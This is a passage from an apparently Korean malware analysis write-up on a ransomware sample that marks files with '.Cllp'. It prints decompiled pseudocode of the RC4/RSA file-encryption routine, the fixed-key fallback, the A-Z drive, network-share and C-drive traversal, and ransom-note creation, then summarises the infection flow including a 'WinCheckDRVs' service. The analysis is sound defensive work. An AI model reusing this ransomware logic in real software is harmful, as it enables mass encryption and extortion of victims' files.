VirtualFree((LPVOID)v28, 0, 0x8000u);
}
else
{
v22 = (void (__stdcall *)(LPVOID, SIZE_T, DWORD))VirtualFree;
}
if ( v20 )
CloseHandle(v20);
sub_403200((int)v18, 117, (int)v34); // rc4 초기화 - 키 스케줄
sub_403180((char *)lpBuffer, 2066896u, v34);// 암호화
....
}
}
...
C
복사
•
CreateFileMappingW(v3, 0, 4u, 0, 0x2089D0u, 0)
•
MapViewOfFile(v16, 6u, 0, 0x10000u, 0x1F89D0u)
타겟 파일의 0x10000 오프셋 부터 ~ 0x1F89D0 까지의 파일 핸들값을 얻는다.
sbox[ sub_402B40(0, 256) ] : 랜덤한 키 값 생성
qmemcpy(v18, &unk_41B000, 0x75u) : 고정 키 사용
•
CreateFileW , WriteFile(v20, "Cllp^_-", 7u, &nNumberOfBytesToRead, 0)
Filename(타겟파일명.Cllp)을 생성하고, 7바이트만큼 ' Cllp^_- ' 를 쓴다
sub_401420(v18, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v24, v21)
생성한 rc4 키를 RSA 알고리즘으로 암호화 한다. 들어가는 인자들은 전에 RSA 암호화를 위해 구한 인자들이다
•
WriteFile : 암호화된 rc4 키를 생성한 타겟파일명.Cllp 에다가 넣는다
sub_403200 : rc4 초기화 - 키 스케줄링
sub_403180 : 실제 파일 암호화 진행
2) 0x4268 < File Size ≤ 0x2089D0
...
else
{
v6 = args->file_size;
NumberOfBytesRead = 0;
v28 = 0;
SetFilePointer(v3, 0x4000, 0, 0);
nNumberOfBytesToRead = v6 - 0x4000;
v7 = GlobalAlloc(0x40u, v6 - 0x4000);
v29 = v7;
if ( v7 && ReadFile(v5, v7, nNumberOfBytesToRead, &NumberOfBytesRead, 0) )
{
v8 = VirtualAlloc(0, 0x75u, 0x3000u, 4u);
v9 = v8;
if ( v8 )
{
memset(v8, 0, 0x75u);
for ( j = 0; j < 117; ++j )
v9[j] = sbox[sub_402B40(0, 256)];
if ( !*v9 && !v9[1] && !v9[2] && !v9[3] && !v9[5] )
{
qmemcpy(v9, &fixed_key, 0x75u);
v2 = v33;
}
NumberOfBytesWritten = 0;
v11 = CreateFileW(FileName, 0x40000000u, 0, 0, 4u, 0x80u, 0);
if ( WriteFile(v11, "Cllp^_-", 7u, &NumberOfBytesWritten, 0) )
{
nNumberOfBytesToWrite = 0;
v12 = VirtualAlloc(0, 0x87u, 0x3000u, 4u);
v23 = v2->hKey;
lpBuffer = v12;
encrypt_key(v9, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v23, (BYTE *)v12);
v13 = (void *)lpBuffer;
if ( WriteFile(v11, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
{
if ( v13 )
VirtualFree(v13, 0, 0x8000u);
}
}
if ( v11 )
CloseHandle(v11);
v7 = (void *)v29;
}
rc4_init((int)v9, 117, (int)v34);
v14 = nNumberOfBytesToRead;
encrypt_rc4((char *)v7, nNumberOfBytesToRead, v34);
v15 = hFile;
SetFilePointer(hFile, 0x4000, 0, 0);
WriteFile(v15, v29, v14, &v28, 0);
v7 = (void *)v29;
}
C
복사
파일 사이즈가 비교적 작은 경우도 비슷하다. 차이점은 메모리 맵 파일을 이용하지 않고 일반적으로 파일을 생성하여 그곳에 암호화된 파일을 저장한다. 파일 오프셋은 0x4000 부터 EOF 까지이다.
결론적으로 파일에 대한 암호화 과정은 다음과 같이 정리 가능하다
마지막으로 암호화한 파일의 path에 랜섬노트를 생성한다
...
HIDWORD(v17->file_size) = v15;
GlobalLock(v17);
v13 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)encrypted_thread, v17, 0, 0);
if ( a5 != a4 )
goto LABEL_14;
}
v14 = 1;
v27 = 1;
WaitForSingleObject(v13, 0xFFFFFFFF);
CloseHandle(v13);
strcmp_ = lstrcmpW;
}
else
{
v14 = a5;
v27 = a5;
}
LABEL_19:
v18 = path;
if ( 2 * wcslen(path) - 6 <= 0xC1 )
sub_403890((int)path); // 랜섬노트 생성
goto LABEL_22;
C
복사
sub_403890() : 랜섬노트 생성
최종적으로 sub_411CB0() 함수 내부에서 A-Z 드라이브를 순회하며 모든 파일들의 암호화를 쓰레드를 이용하여 시도한다. A-Z 드라이브에 대한 암호화 작업이 끝나면 아래쪽 코드에서 두개의 쓰레드를 다시 생성하여 네트워크 공유 드라이브와 C 드라이브 폴더에 대한 암호화를 다시 시도한다
DWORD __stdcall sub_411CB0(LPVOID lpThreadParameter)
{
....
for ( i = 0; i < 26; ++i )
{
wsprintfW(RootPathName, L"%c:", (unsigned __int16)(i + 'A'));
v6 = GetDriveTypeW(RootPathName);
*lpParameter = 0i64;
memmove_0(lpParameter, RootPathName, 8u);
if ( v6 == DRIVE_FIXED || v6 == DRIVE_REMOVABLE )
{
v7 = CreateThread(0, 0, sub_411E70, lpParameter, 0, 0);
Sleep(0x3E8u);
v11 = v7;
v1 = (void (__stdcall *)(HANDLE))CloseHandle;
CloseHandle(v11);
}
else
{
v1 = (void (__stdcall *)(HANDLE))CloseHandle;
}
Sleep(0x64u);
}
// 여기까지는 A-Z 드라이브 내용물들 암호화 시도
Sleep(0x1388u);
v8 = CreateThread(0, 0, sub_411000, 0, 0, 0); // 네트워크 공유 드라이브 암호화 시도
v1(v8);
Sleep(0xEA60u);
v9 = CreateThread(0, 0, sub_412000, 0, 0, 0); // C 드라이브 암호화 시도
v1(v9);
Sleep(0xFFFFFFFF);
}
while ( WaitForSingleObject(hHandle, 0xFFFFFFFF) );
Sleep(0xFFFFFFFF);
return 0;
}
C
복사
3. 정리
3.1) 악성행위 중요 흐름
1.
피싱 메일 같은 형태로 배포 - 해당 랜섬웨어의 유포방식은 알 수 없음
2.
악성 행위가 끝나면 자가 삭제를 수행할 배치파일 생성. 이는 루프를 돌면서 끝날때까지 체크함
3.
WinCheckDRVs 서비스 명으로 쉘코드를 등록함
4.
WinCheckDRVs 서비스 하위에 자기 자신 응용 프로그램을 생성
5.
A-Z 드라이브와 네트워크 공유 드라이버를 돌면서 모든 파일들 암호화를 진행하고 타겟이 되는 파일이름.Cllp 형태의 키파일 생성
6.
암호화 한 파일 경로에 랜섬노트 생성